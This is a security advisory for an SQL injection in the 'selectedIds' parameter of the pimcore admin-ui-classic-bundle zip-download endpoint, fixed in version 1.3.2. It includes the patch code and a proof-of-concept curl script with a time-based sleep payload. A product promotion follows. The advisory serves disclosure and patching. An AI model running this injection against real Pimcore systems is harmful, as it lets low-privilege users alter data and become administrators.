Published 24 Jan 2024 · Updated 10 Sept 2026
Affected package
- Affected
- >=1.0.0 <1.3.2
- Fixed in
- 1.3.2
composer require pimcore/admin-ui-classic-bundle:^1.3.2Details
Summary
The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.
Details
downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added:
foreach ($selectedIds as $selectedId) {
if ($selectedId) {
$quotedSelectedIds[] = $db->quote($selectedId);
}
}PoC
- Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)
- Log In. Grab the
X-pimcore-csrf-tokenheader from any request to the backend, as well as thePHPSESSIDcookie. - Run the following script, substituting the values accordingly:
#!/bin/bash
BASE_URL=http://localhost # REPLACE THIS!
CSRF_TOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS!
COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS!
SQL="(select*from(select(sleep(6)))a)"
curl "${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \
-X GET \
-H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
-H "Cookie: ${COOKIE}" `- The response is delayed by 6 seconds.
Impact
Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.
Is GHSA-cwx6-4wmf-c6xv in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected pimcore/admin-ui-classic-bundle, and gives you the command that fixes it.
